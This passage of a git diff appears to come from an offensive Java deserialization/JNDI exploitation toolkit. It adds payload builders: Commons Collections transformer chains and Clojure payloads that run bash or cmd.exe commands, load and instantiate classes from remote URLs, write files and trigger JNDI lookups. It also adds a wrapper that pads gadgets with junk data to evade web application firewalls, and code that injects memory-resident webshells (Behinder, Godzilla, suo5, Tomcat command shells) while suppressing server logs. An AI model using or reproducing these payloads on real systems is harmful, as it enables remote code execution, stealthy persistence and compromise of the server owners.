QI4L, Object QI5L) { return new Integer(1);}java.lang.Thread.sleep(" + (Integer.parseInt(command.split("[-]")[1]) * 1000) + "L);"; + if (command.startsWith("RC-")) { + String[] strings = Utils.handlerCommand(command); + return "compare(Object QI4L, Object QI5L) { return new Integer(1);}new URLClassLoader(new URL[]{new URL(\"" + strings[0] + "\")}).loadClass(\"" + strings[1] + "\").newInstance();"; + } + if (command.startsWith("WF-")) { + String[] strings = Utils.handlerCommand(command); + return "compare(Object QI4L, Object QI5L) { return new Integer(1);}new java.io.FileOutputStream(\"" + strings[0] + "\").write(\"" + strings[1] + "\".getObject());"; + } + + return "compare(Object QI4L, Object QI5L) {new java.lang.ProcessBuilder(new String[]{" + + StringUtil.join( + Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"").split(" ")), ",", "\"", "\"") + "}).start();return new Integer(1);}"; + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/cc/TransformerUtil.java b/src/main/java/com/qi4l/jndi/gadgets/utils/cc/TransformerUtil.java new file mode 100644 index 0000000..2531c93 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/cc/TransformerUtil.java @@ -0,0 +1,76 @@ +package com.qi4l.jndi.gadgets.utils.cc; + +import com.qi4l.jndi.gadgets.utils.Utils; +import javassist.CtClass; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InstantiateTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; + +import javax.script.ScriptEngineManager; +import java.io.FileOutputStream; +import java.net.URL; +import java.net.URLClassLoader; + +import static com.qi4l.jndi.gadgets.Config.Config.USING_MOZILLA_DEFININGCLASSLOADER; +import static com.qi4l.jndi.gadgets.utils.Utils.base64Decode; +import static com.qi4l.jndi.gadgets.utils.Utils.handlerCommand; +import static com.qi4l.jndi.gadgets.utils.handle.GlassHandler.generateClass; + +public class TransformerUtil { + + public static Transformer[] makeTransformer(String command) throws Exception { + Transformer[] transformers; + String[] execArgs = {command}; + + if (command.startsWith("TS-")) { + transformers = new Transformer[]{new ConstantTransformer(Thread.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"currentThread", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("sleep", new Class[]{long.class}, new Object[]{Long.parseLong(command.split("[-]")[1] + "000")}),}; + } else if (command.startsWith("RC-")) { + String[] strings = handlerCommand(command); + transformers = new Transformer[]{new ConstantTransformer(URLClassLoader.class), new InstantiateTransformer(new Class[]{URL[].class}, new Object[]{new URL[]{new URL(strings[0])}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{strings[1]}), new InstantiateTransformer(null, null)}; + } else if (command.startsWith("WF-")) { + String[] strings = handlerCommand(command); + transformers = new Transformer[]{new ConstantTransformer(FileOutputStream.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{strings[0]}}), new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{base64Decode(strings[1]).getBytes()}), new ConstantTransformer(Integer.valueOf(1))}; + } else if (command.startsWith("PB-lin")) { + transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"bash", "-c", base64Decode(command.split("[-]")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})}; + } else if (command.startsWith("PB-win")) { + transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"cmd.exe", "/c", base64Decode(command.split("[-]")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})}; + } else if (command.startsWith("SE-")) { + transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"js"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{"java.lang.Runtime.getRuntime().exec('" + base64Decode(command.split("[-]")[1]) + "');"})}; + } else if (command.startsWith("DL-")) { + transformers = new Transformer[]{new ConstantTransformer(java.net.InetAddress.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getAllByName", new Class[]{String.class}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{command.split("[-]")[1]}}), new ConstantTransformer(1)}; + } else if (command.startsWith("HL-")) { + transformers = new Transformer[]{new ConstantTransformer(java.net.URL.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{command.split("[-]")[1]}}), new InvokerTransformer("getContent", new Class[0], new Object[0]), new ConstantTransformer(1)}; + } else if (command.startsWith("BC-")) { + command = command.substring(3); + String bcelBytes; + + // 对 BCEL 也支持 EX 或 LF 扩展功能 + if (command.startsWith("EX-") || command.startsWith("LF-")) { + CtClass ctClass = generateClass(command); + bcelBytes = Utils.generateBCELFormClassBytes(Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()).toBytecode()); + } else { + bcelBytes = command; + } + + transformers = new Transformer[]{new ConstantTransformer(com.sun.org.apache.bcel.internal.util.ClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{bcelBytes}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)}; + } else if (command.startsWith("JD-")) { + transformers = new Transformer[]{new ConstantTransformer(javax.naming.InitialContext.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("lookup", new Class[]{String.class}, new Object[]{command.split("[-]")[1]}), new ConstantTransformer(1)}; + } else if (command.startsWith("EX-") || command.startsWith("LF-")) { + CtClass ctClass = generateClass(command); + + if (USING_MOZILLA_DEFININGCLASSLOADER) { + // 使用 DefiningClassLoader 加载,不是所有 JDK 均有 org.mozilla.javascript.DefiningClassLoader + // 在 NC 中可以使用 + transformers = new Transformer[]{new ConstantTransformer(org.mozilla.javascript.DefiningClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{ctClass.getName(), ctClass.toBytecode()}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)}; + } else { + // 使用 ScriptEngineManager JS eval 加载 + transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"JavaScript"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{Utils.getJSEngineValue(Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()).toBytecode())})}; + } + } else { + transformers = new Transformer[]{new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, (Object[]) execArgs), new ConstantTransformer(Integer.valueOf(1))}; + } + return transformers; + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/clojure/ClojureUtil.java b/src/main/java/com/qi4l/jndi/gadgets/utils/clojure/ClojureUtil.java new file mode 100644 index 0000000..0a3e59c --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/clojure/ClojureUtil.java @@ -0,0 +1,25 @@ +package com.qi4l.jndi.gadgets.utils.clojure; + +import com.qi4l.jndi.gadgets.utils.StringUtil; +import com.qi4l.jndi.gadgets.utils.Utils; + +import java.util.Arrays; + +public class ClojureUtil { + + public static String makeClojurePayload(String command) { + if (command.startsWith("TS-")) + return String.format("(java.lang.Thread/sleep " + (Integer.parseInt(command.split("[-]")[1]) * 1000) + ")", new Object[0]); + if (command.startsWith("RC-")) { + String[] strings = Utils.handlerCommand(command); + return "(def urlStr (new String \"" + strings[0] + "\"))\n(def url (new java.net.URL urlStr))\n(def loader (new java.net.URLClassLoader (into-array [url])))\n(def clazz (.loadClass loader \"" + strings[1] + "\"))\n(.newInstance clazz)"; + } + if (command.startsWith("WF-")) { + String[] strings = Utils.handlerCommand(command); + return "(def path (new String \"" + strings[0] + "\"))\n(def out (new java.io.FileOutputStream path))\n(def byts (.getObject \"" + strings[1] + "\"))\n(.write out byts)"; + } + String cmd = StringUtil.join(Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\").split(" ")), " ", "\"", "\""); + return String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)(println \"QI4L\")", new Object[]{cmd}); + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/dirty/DirtyDataWrapper.java b/src/main/java/com/qi4l/jndi/gadgets/utils/dirty/DirtyDataWrapper.java new file mode 100644 index 0000000..57f442f --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/dirty/DirtyDataWrapper.java @@ -0,0 +1,111 @@ +package com.qi4l.jndi.gadgets.utils.dirty; + +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.gadgets.utils.Utils; + +import java.util.*; +import java.util.concurrent.ThreadLocalRandom; + +/** + * 来自 c0ny1 + *

+ * Java反序列化数据绕WAF之加大量脏数据 + * 链接:https://gv7.me/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/ + */ +public class DirtyDataWrapper { + + // 脏数据大小 + private final int dirtyDataSize; + + private final int dirtyDataType; + + // gadget 对象 + private final Object gadget; // gadget对象 + + public DirtyDataWrapper(Object gadget, int dirtyDataType, int dirtyDataSize) { + this.gadget = gadget; + this.dirtyDataType = dirtyDataType; + this.dirtyDataSize = dirtyDataSize; + } + + /** + * 脏数据填充反序列化利用链 + * + * @return 返回包裹后的反序列化数据 + */ + public Object doWrap() { + + Object wrapper = null; + + // 如果混淆长度为 0 则不混淆 + if (dirtyDataSize == 0) { + return gadget; + } + + switch (dirtyDataType) { + // type 为 1 时,随机使用 ArrayList/LinkedList/HashMap/LinkedHashMap/TreeMap 等集合类型来封装 object,并指定脏数据大小 + // by c0ny1 + case 1: + // 生成随机字符串 + String dirtyData = new RandomString((dirtyDataSize), ThreadLocalRandom.current()).getString(); + String randStr1 = new RandomString((int) (Math.random() * 10) % 10 + 1, ThreadLocalRandom.current()).getString(); + String randStr2 = new RandomString((int) (Math.random() * 10) % 10 + 1, ThreadLocalRandom.current()).getString(); + // 随机选择封装对象 + int type = (int) (Math.random() * 10) % 10 + 1; + switch (type) { + case 0: + List arrayList = new ArrayList(); + arrayList.add(dirtyData); + arrayList.add(gadget); + wrapper = arrayList; + break; + case 1: + List linkedList = new LinkedList(); + linkedList.add(dirtyData); + linkedList.add(gadget); + wrapper = linkedList; + break; + case 2: + HashMap map = new HashMap(); + map.put(randStr1, dirtyData); + map.put(randStr2, gadget); + wrapper = map; + break; + case 3: + LinkedHashMap linkedHashMap = new LinkedHashMap(); + linkedHashMap.put(randStr1, dirtyData); + linkedHashMap.put(randStr2, gadget); + wrapper = linkedHashMap; + break; + default: + case 4: + TreeMap treeMap = new TreeMap(); + treeMap.put(randStr1, dirtyData); + treeMap.put(randStr2, gadget); + wrapper = treeMap; + break; + } + break; + // type 为 2 时,使用循环嵌套 LinkedList 来封装 object + // by Y4tacker + case 2: + List linkedList = new LinkedList(); + for (int i = 0; i < dirtyDataSize; i++) { + linkedList.add(Utils.makeClass("A" + System.nanoTime())); + } + linkedList.add(gadget); + wrapper = linkedList; + break; + // type 为 3 时,在 TC_RESET 中加入脏数据 + // by phith0n + case 3: + Config.IS_DIRTY_IN_TC_RESET = true; + Config.DIRTY_LENGTH_IN_TC_RESET = dirtyDataSize; + wrapper = gadget; + break; + } + + return wrapper; + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/dirty/RandomString.java b/src/main/java/com/qi4l/jndi/gadgets/utils/dirty/RandomString.java new file mode 100644 index 0000000..35aabc6 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/dirty/RandomString.java @@ -0,0 +1,59 @@ +package com.qi4l.jndi.gadgets.utils.dirty; + +import java.util.Locale; +import java.util.Objects; +import java.util.Random; + +public class RandomString { + + /** + * 26个大写字母 + */ + public static final String upper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + + /** + * 26个小写字母 + */ + public static final String lower = upper.toLowerCase(Locale.ROOT); + + /** + * 数字 + */ + public static final String digits = "0123456789"; + + /** + * alphanum为26个大写字母+26个小写字母+10个数字。产生的随机字符串从此挑选字符生成 + */ + public static final String alphanum = upper + lower + digits; + + private final Random random; + + private final char[] symbols; + + private final char[] buf; + + public RandomString(int length, Random random, String symbols) { + if (length < 1) throw new IllegalArgumentException(); + if (symbols.length() < 2) throw new IllegalArgumentException(); + this.random = Objects.requireNonNull(random); + this.symbols = symbols.toCharArray(); + this.buf = new char[length]; + } + + /** + * 通过字母数字字符串生成器生成随机字符串。 + */ + public RandomString(int length, Random random) { + this(length, random, alphanum); + } + + /** + * 生成随机字符串 + */ + public String getString() { + for (int idx = 0; idx < buf.length; ++idx) { + buf[idx] = symbols[random.nextInt(symbols.length)]; + } + return new String(buf); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/handle/ClassFieldHandler.java b/src/main/java/com/qi4l/jndi/gadgets/utils/handle/ClassFieldHandler.java new file mode 100644 index 0000000..536d6fc --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/handle/ClassFieldHandler.java @@ -0,0 +1,55 @@ +package com.qi4l.jndi.gadgets.utils.handle; + +import com.qi4l.jndi.gadgets.Config.Config; +import javassist.CtClass; +import javassist.CtField; + +public class ClassFieldHandler { + public static void insertField(CtClass ctClass, String fieldName, String fieldCode) throws Exception { + ctClass.defrost(); + try { + CtField field = ctClass.getDeclaredField(fieldName); + ctClass.removeField(field); + } catch (javassist.NotFoundException ignored) { + } + ctClass.addField(CtField.make(fieldCode, ctClass)); + } + + + /** + * 将 Field String 转一层,实际用处不大 + * + * @param target Field String 值 + * @return 替换后的 String + */ + public static String converString(String target) { + if (Config.IS_OBSCURE) { + StringBuilder result = new StringBuilder("new String(new byte[]{"); + byte[] bytes = target.getBytes(); + for (int i = 0; i < bytes.length; i++) { + result.append(bytes[i]).append(","); + } + return result.substring(0, result.length() - 1) + "})"; + } + + return "\"" + target + "\""; + } + + /** + * 只有在原 Class 已经有此 Field 的情况下才加入 + * + * @param ctClass CtClass + * @param fieldName field 名称 + * @param fieldCode field 代码 + * @throws Exception 抛出异常 + */ + public static void insertFieldIfExists(CtClass ctClass, String fieldName, String fieldCode) throws Exception { + ctClass.defrost(); + try { + CtField field = ctClass.getDeclaredField(fieldName); + ctClass.removeField(field); + ctClass.addField(CtField.make(fieldCode, ctClass)); + } catch (javassist.NotFoundException ignored) { + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/handle/ClassMethodHandler.java b/src/main/java/com/qi4l/jndi/gadgets/utils/handle/ClassMethodHandler.java new file mode 100644 index 0000000..a56ae0a --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/handle/ClassMethodHandler.java @@ -0,0 +1,305 @@ +package com.qi4l.jndi.gadgets.utils.handle; + +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.gadgets.Config.MemShellPayloads; +import com.qi4l.jndi.gadgets.utils.Utils; +import javassist.CtClass; +import javassist.CtMethod; +import javassist.NotFoundException; +import org.apache.commons.lang.StringUtils; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +import static com.qi4l.jndi.gadgets.utils.handle.ClassFieldHandler.converString; +import static com.qi4l.jndi.gadgets.utils.handle.ClassFieldHandler.insertField; + +public class ClassMethodHandler { + /** + * 向指定的 ctClass 中插入方法,使用 insertBefore,不影响原有逻辑 + * + * @param ctClass 目标 CtClass + * @param method 方法名 + * @param payload 方法内容 String + * @throws Exception 抛出异常 + */ + public static void insertMethod(CtClass ctClass, String method, String payload) throws Exception { + //System.out.println(ctClass); + //System.out.println(method); + //System.out.println(payload); + CtMethod cm = ctClass.getDeclaredMethod(method); + cm.insertBefore(payload); + } + + + public static void insertKeyMethodByClassName(CtClass ctClass, String className, String type) throws Exception { + + // 动态为 Echo回显类 添加执行命令功能 + if (className.endsWith("Echo")) { + insertCMD(ctClass); + ctClass.getDeclaredMethod("q").setBody("{return execCmd($1);}"); + return; + } + + // 如果是 RMI 内存马,则修改其中的 registryPort、bindPort、serviceName,插入关键方法 + if (className.contains("RMIBindTemplate")) { + String[] parts = type.split("-"); + + if (parts.length < 3) { + // BindPort 写 0 就是随机端口 + throw new IllegalArgumentException("Command format is: EX-MS-RMIBindTemplate---"); + } + + // 插入关键参数 + String rPortString = "port=" + parts[0] + ";"; + ctClass.makeClassInitializer().insertBefore(rPortString); + String bPort = "bindPort=" + parts[1] + ";"; + ctClass.makeClassInitializer().insertBefore(bPort); + String sName = "serviceName=\"" + parts[2] + "\";"; + ctClass.makeClassInitializer().insertBefore(sName); + ctClass.setInterfaces(new CtClass[]{Config.POOL.get("javax.management.remote.rmi.RMIConnection"), Config.POOL.get("java.io.Serializable")}); + + // 插入目标执行类 + insertCMD(ctClass); + ctClass.addMethod(CtMethod.make("public String getDefaultDomain(javax.security.auth.Subject subject) throws java.io.IOException {return new String(execCmd(((java.security.Principal)subject.getPrincipals().iterator().next()).getName()).toByteArray());}", ctClass)); + return; + } + + // 获取每个不同的类对应要插入的方法名 + String method = getMethodName(ctClass); + + // WebSocket 内存马 + if (className.contains("TWSMSFromThread")) { + insertCMD(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.WS_SHELL)); + return; + } + + // Tomcat Upgrade 内存马 + if (className.contains("TUGMSFromJMX")) { + insertField(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + converString(Config.CMD_HEADER_STRING) + ";"); + insertGetFieldValue(ctClass); + insertCMD(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.UPGRADE_SHELL)); + return; + } + + // Tomcat Executor 内存马 + if (className.contains("TEXMSFromThread")) { + insertField(ctClass, "TAG", "public static String TAG = \"" + Config.CMD_HEADER_STRING + "\";"); + insertCMD(ctClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_REQUEST), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.BASE64_ENCODE_BYTE_TO_STRING), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_RESPONSE), ctClass)); + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.EXECUTOR_SHELL)); + return; + } + + // 其他的进入下一段处理逻辑 + if (StringUtils.isNotEmpty(type)) { + insertKeyMethod(ctClass, type, method); + } + } + + + public static void insertKeyMethod(CtClass ctClass, String type, String method) throws Exception { + // 判断是否为 Tomcat 类型,需要对 request 封装使用额外的 payload + String name = ctClass.getName(); + name = name.substring(name.lastIndexOf(".") + 1); + + // 大多数 SpringBoot 项目使用内置 Tomcat + boolean isTomcat = name.startsWith("T") || name.startsWith("Spring"); + boolean isWebflux = name.contains("Webflux"); + + // 命令执行、各种内存马 + insertField(ctClass, "HEADER_KEY", "public static String HEADER_KEY=" + converString(Config.HEADER_KEY) + ";"); + insertField(ctClass, "HEADER_VALUE", "public static String HEADER_VALUE=" + converString(Config.HEADER_VALUE) + ";"); + + if ("bx".equals(type)) { + insertBase64Decode(ctClass); + insertGetFieldValue(ctClass); + insertGetMethodAndInvoke(ctClass); + + if (Config.IS_OBSCURE) { + insertGetUnsafe(ctClass); + } + + String shell = ""; + if (isTomcat) { + insertTomcatNoLog(ctClass); + shell = Config.IS_OBSCURE ? MemShellPayloads.BEHINDER_SHELL_FOR_TOMCAT_OBSCURE : MemShellPayloads.BEHINDER_SHELL_FOR_TOMCAT; + } else { + shell = Config.IS_OBSCURE ? MemShellPayloads.BEHINDER_SHELL_OBSCURE : MemShellPayloads.BEHINDER_SHELL; + } + + insertMethod(ctClass, method, Utils.base64Decode(shell).replace("f359740bd1cda994", Config.PASSWORD)); + } else if ("gz".equals(type)) { + insertField(ctClass, "payload", "Class payload ;"); + insertField(ctClass, "xc", "String xc = " + converString(Config.GODZILLA_KEY) + ";"); + insertField(ctClass, "PASS", "String PASS = " + converString(Config.PASSWORD_ORI) + ";"); + + insertBase64Decode(ctClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.BASE64_ENCODE_BYTE_TO_STRING), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.MD5), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.AES_FOR_GODZILLA), ctClass)); + insertTomcatNoLog(ctClass); + if (isWebflux) { + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.GODZILLA_SHELL_FOR_WEBFLUX)); + } else { + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.GODZILLA_SHELL)); + } + } else if ("gzraw".equals(type)) { + insertField(ctClass, "payload", "Class payload ;"); + insertField(ctClass, "xc", "String xc = " + converString(Config.GODZILLA_KEY) + ";"); + + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.AES_FOR_GODZILLA), ctClass)); + insertTomcatNoLog(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.GODZILLA_RAW_SHELL)); + } else if ("suo5".equals(type)) { + + // 先写入一些需要的基础属性 + insertField(ctClass, "gInStream", "java.io.InputStream gInStream;"); + insertField(ctClass, "gOutStream", "java.io.OutputStream gOutStream;"); + + // 依次写入方法 + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_NEW_CREATE), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_NEW_DATA), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_NEW_DEL), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_SET_STREAM), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_NEW_STATUS), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_U32_TO_BYTES), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_BYTES_TO_U32), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_MARSHAL), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_UNMARSHAL), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_READ_SOCKET), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_READ_INPUT_STREAM_WITH_TIMEOUT), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_TRY_FULL_DUPLEX), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_READ_REQ), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_PROCESS_DATA_UNARY), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_PROCESS_DATA_BIO), ctClass)); + + // 为恶意类设置 Runnable 接口以及 RUN 方法 + CtClass runnableClass = Config.POOL.get("java.lang.Runnable"); + ctClass.addInterface(runnableClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.RUN), ctClass)); + + // 插入关键方法 + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.SUO5.SUO5)); + } else { + insertCMD(ctClass); + insertField(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + converString(Config.CMD_HEADER_STRING) + ";"); + + if (isWebflux) { + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.CMD_SHELL_FOR_WEBFLUX)); + } else if (isTomcat) { + insertTomcatNoLog(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.CMD_SHELL_FOR_TOMCAT)); + } else { + insertGetMethodAndInvoke(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.CMD_SHELL)); + } + } + } + + /** + * 向指定类中写入命令执行方法 execCmd + * 方法需要 toCString getMethodByClass getMethodAndInvoke getFieldValue 依赖方法 + * + * @param ctClass 指定类 + * @throws Exception 抛出异常 + */ + public static void insertCMD(CtClass ctClass) throws Exception { + if (Config.IS_OBSCURE) { + insertGetUnsafe(ctClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.TO_CSTRING_Method), ctClass)); + insertGetMethodAndInvoke(ctClass); + insertGetFieldValue(ctClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.EXEC_CMD_OBSCURE), ctClass)); + } else { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.EXEC_CMD), ctClass)); + } + } + + public static void insertBase64Decode(CtClass ctClass) throws Exception { + try { + ctClass.getDeclaredMethod("base64Decode"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.BASE64_DECODE_STRING_TO_BYTE), ctClass)); + } + } + + public static void insertGetFieldValue(CtClass ctClass) throws Exception { + try { + ctClass.getDeclaredMethod("getFieldValue"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_FIELD_VALUE), ctClass)); + } + } + + public static void insertGetUnsafe(CtClass ctClass) throws Exception { + try { + ctClass.getDeclaredMethod("getUnsafe"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_UNSAFE), ctClass)); + } + } + + + public static void insertGetMethodAndInvoke(CtClass ctClass) throws Exception { + try { + ctClass.getDeclaredMethod("getMethodByClass"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_METHOD_BY_CLASS), ctClass)); + } + + try { + ctClass.getDeclaredMethod("getMethodAndInvoke"); + } catch (NotFoundException e) { + if (Config.IS_OBSCURE) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_METHOD_AND_INVOKE_OBSCURE), ctClass)); + } else { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_METHOD_AND_INVOKE), ctClass)); + } + } + } + + public static void insertTomcatNoLog(CtClass ctClass) throws Exception { + insertGetFieldValue(ctClass); + insertGetMethodAndInvoke(ctClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.TOMCAT_NO_LOG), ctClass)); + } + + /** + * 获取该类的关键方法 + * + * @param ctClass CtClass + * @return 返回方法名 + * @throws Exception 抛出异常 + */ + public static String getMethodName(CtClass ctClass) throws Exception { + List classes = new java.util.ArrayList(Arrays.asList(ctClass.getInterfaces())); + String name = ctClass.getName(); + String method = ""; + classes.add(ctClass.getSuperclass()); + + for (CtClass value : classes) { + String className = value.getName(); + if (Config.KEY_METHOD_MAP.containsKey(className)) { + method = Config.KEY_METHOD_MAP.get(className); + break; + } + } + + if (name.contains("SpringControllerMS")) { + method = "drop"; + } else if (name.contains("Struts2ActionMS")) { + method = "executeAction"; + } + return method; + } + + public static void insertInitHookClassINFORMATION(CtClass ctClass, ArrayList list) throws Exception { + insertMethod(ctClass, "initHookClassINFORMATION", "{HOOK_CLASS_INFORMATION_MAP.add(\"" + list.get(0) + "\");HOOK_CLASS_INFORMATION_MAP.add(\"" + list.get(1) + "\");HOOK_CLASS_INFORMATION_MAP.add(\"" + list.get(2) + "\");}"); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/handle/ClassNameHandler.java b/src/main/java/com/qi4l/jndi/gadgets/utils/handle/ClassNameHandler.java new file mode 100644 index 0000000..fee46ab --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/handle/ClassNameHandler.java @@ -0,0 +1,126 @@ +package com.qi4l.jndi.gadgets.utils.handle; + +import com.qi4l.jndi.gadgets.utils.SuClassLoader; + +import java.io.File; +import java.net.JarURLConnection; +import java.net.URL; +import java.util.Enumeration; +import java.util.HashSet; +import java.util.Set; +import java.util.jar.JarEntry; +import java.util.jar.JarFile; + +public class ClassNameHandler { + public static ClassLoader loader = new SuClassLoader(); + + public static Set set = null; + + /** + * 生成一个咋一下不出来问题的,但是在用户实际环境不存在的类名 + * 本来想直接用哥斯拉的 